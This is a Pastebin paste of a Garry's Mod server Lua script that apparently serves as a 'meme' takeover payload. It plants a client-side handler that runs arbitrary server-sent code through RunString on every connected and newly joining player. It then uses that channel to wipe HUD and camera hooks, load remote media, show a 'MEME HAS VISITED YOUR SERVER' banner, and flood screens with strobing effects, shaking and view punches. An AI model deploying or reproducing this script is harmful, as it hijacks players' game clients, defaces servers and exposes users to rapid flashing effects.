API tools faq
paste
2much4Us

approved

2much4Us
Mar 14th, 2018
324
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.20 KB | None | 0 0
raw download clone embed print report
  1. aautil.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Memed By Infamous --- razer approved" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://78.media.tumblr.com/6cf8b9870a7832a68294860527bd3a9b/tumblr_obt3htYFAR1sqkd33o1_400.gif", "hud2", 236, 238 )
  100. LoadWebMaterial( "http://i0.kym-cdn.com/photos/images/original/001/204/967/54a.png", "doritos", 236, 238 )
  101. LoadWebMaterial( "https://img.4plebs.org/boards/pol/image/1408/21/1408218115340.png", "fedora", 236, 238 )
  102. LoadWebMaterial( "https://i.imgur.com/ttu1TRp.png", "dew", 236, 238 )
  103. LoadWebMaterial( "http://nna-leb.gov.lb/files/pictures/1442583825_.jpg", "awp", 236, 238 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106.  
  107. --HUD swap
  108. lol:PushAction( 31, function( pPlayer )
  109. lol:SendLua( pPlayer, [[
  110. (GAMEMODE or GM).CalcView = function() end
  111. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  112.  
  113. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  114. for k, v in pairs(remove) do
  115. hook.GetTable()[v] = {}
  116. end
  117.  
  118. local function GetWebMat( strURL )
  119. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  120. end
  121.  
  122. hook.Add( "HUDPaint", "newhud", function()
  123. surface.SetDrawColor( 255, 255, 255, 255 )
  124.  
  125. if GetWebMat( "hud1" ) then
  126. surface.SetMaterial( GetWebMat("hud1")[1] )
  127. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  128. end
  129. if GetWebMat( "hud2" ) then
  130. surface.SetMaterial( GetWebMat("hud2")[1] )
  131. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 188 *(512 /300), 143 )
  132. end
  133. if GetWebMat( "hud3" ) then
  134. surface.SetMaterial( GetWebMat("hud3")[1] )
  135. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  136. end
  137. if GetWebMat( "doritos" ) then
  138. surface.SetMaterial( GetWebMat("doritos")[1] )
  139. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  140. end
  141. if GetWebMat( "dew" ) then
  142. surface.SetMaterial( GetWebMat("dew")[1] )
  143. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  144. end
  145. if GetWebMat( "fedora" ) then
  146. surface.SetMaterial( GetWebMat("fedora")[1] )
  147. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  148. end
  149. if GetWebMat( "awp" ) then
  150. surface.SetMaterial( GetWebMat("awp")[1] )
  151. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  152. end
  153.  
  154. draw.SimpleTextOutlined(
  155. "A MEME HAS VISITED YOUR SERVER >!!ME!!< ",
  156. "DermaLarge",
  157. ScrW() /2 +math.random( -8, 8 ),
  158. ScrH() /2 +math.random( -8, 8 ) +24,
  159. Color( 255, 0, 0 ),
  160. TEXT_ALIGN_CENTER,
  161. TEXT_ALIGN_CENTER,
  162. 1,
  163. Color( 0, 255, 0 )
  164. )
  165.  
  166. end )
  167.  
  168. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  169. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  170.  
  171. surface.PlaySound( "garrysmod/save_load4.wav" )
  172. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  173. ]] )
  174. end )
  175.  
  176. --Disco time
  177. lol:PushAction( 10, function( pPlayer )
  178. local idx = pPlayer:EntIndex()
  179. timer.Create( "beat".. idx, 0.42, 0, function()
  180. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  181. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  182. end )
  183.  
  184.  
  185. lol:SendLua( pPlayer, [[
  186. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  187. local time = 0
  188.  
  189. hook.Add( "Think", "wat", function()
  190. if CurTime() < time then
  191. return
  192. end
  193.  
  194. time = CurTime() +0.05
  195. for i = 1, 16 do
  196. local part = emitter:Add(
  197. "particles/balloon_bit",
  198. LocalPlayer():GetPos() +Vector(
  199. math.random( -256, 256 ),
  200. math.random( -256, 256 ),
  201. 256
  202. )
  203. )
  204.  
  205. if part then
  206. local Size = math.random( 4, 7 )
  207.  
  208. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  209. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  210. part:SetDieTime( 4.5 )
  211. part:SetGravity( Vector(40, 0, -250) )
  212. part:SetLifeTime( 0 )
  213. part:SetStartSize( Size /2 )
  214. part:SetEndSize( Size )
  215. part:SetCollide( true )
  216. end
  217. end
  218. end )
  219. ]] )
  220.  
  221. lol:SendLua( pPlayer, [[
  222. hook.Add( "RenderScreenspaceEffects", "wat", function()
  223. local sinScaler = math.sin( CurTime() )
  224. DrawBloom(
  225. 0,
  226. 3,
  227. sinScaler *math.Rand(1, 8),
  228. sinScaler *math.Rand(1, 8),
  229. 6,
  230. math.Rand(0.5, 2),
  231. math.Rand(0, 0.3),
  232. math.Rand(0, 0.3),
  233. math.Rand(0.5, 1)
  234. )
  235.  
  236. DrawColorModify{
  237. ["$pp_colour_addr"] = 0,
  238. ["$pp_colour_addg"] = 0,
  239. ["$pp_colour_addb"] = 00,
  240. ["$pp_colour_brightness" ] = 0,
  241. ["$pp_colour_contrast" ] = 1,
  242. ["$pp_colour_colour" ] = 1,
  243. ["$pp_colour_mulr" ] = 0,
  244. ["$pp_colour_mulg" ] = 0,
  245. ["$pp_colour_mulb" ] = 1
  246. }
  247. end )
  248.  
  249. local mdl = ClientsideModel( "models/player/Group01/male_07.mdl", RENDERGROUP_BOTH )
  250. mdl:SetNoDraw( true )
  251. local posCache, time = {}, 0
  252.  
  253. hook.Add( "HUDPaint", "dance", function()
  254. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  255. local idx = mdl:LookupSequence("taunt_dance")
  256. mdl.SeqDuration = mdl:SequenceDuration( idx )
  257. mdl.SeqStart = CurTime()
  258. mdl:ResetSequence( idx )
  259. end
  260.  
  261. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  262.  
  263.  
  264. local w, h = 300, 300
  265. local ang = Angle( 0, 0, 0 )
  266.  
  267. for i = 1, 32 do
  268. if CurTime() > time then
  269. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  270. end
  271. local x, y = posCache[i][1], posCache[i][2]
  272.  
  273. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  274. cam.IgnoreZ( true )
  275. render.SuppressEngineLighting( true )
  276.  
  277. render.SetLightingOrigin( mdl:GetPos() )
  278. render.ResetModelLighting( 1, 1, 1 )
  279. render.SetColorModulation( 0, 0, 1 )
  280.  
  281. mdl:DrawModel()
  282.  
  283. render.SuppressEngineLighting( false )
  284. cam.IgnoreZ( false )
  285. cam.End3D()
  286. end
  287.  
  288. if CurTime() > time then
  289. time = CurTime() +0.15
  290. end
  291. end )
  292.  
  293. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  294. ]] )
  295. end )
  296.  
  297. --Let the beat drop
  298. lol:PushAction( 54, function( pPlayer )
  299. lol:SendLua( pPlayer, [[
  300. hook.Add( "GetMotionBlurValues", "wat", function()
  301. return 0, 0, 1, math.sin(CurTime() *13)
  302. end )
  303.  
  304. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  305. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  306. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  307. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  308. end )
  309.  
  310. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  311. render.SetMaterial( Material("cable/blue_elec") )
  312. for i = 1, 32 do
  313. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  314. end
  315. end )
  316.  
  317. timer.Create( "thedrop", 0.42, 0, function()
  318. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  319. end )
  320. ]] )
  321. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!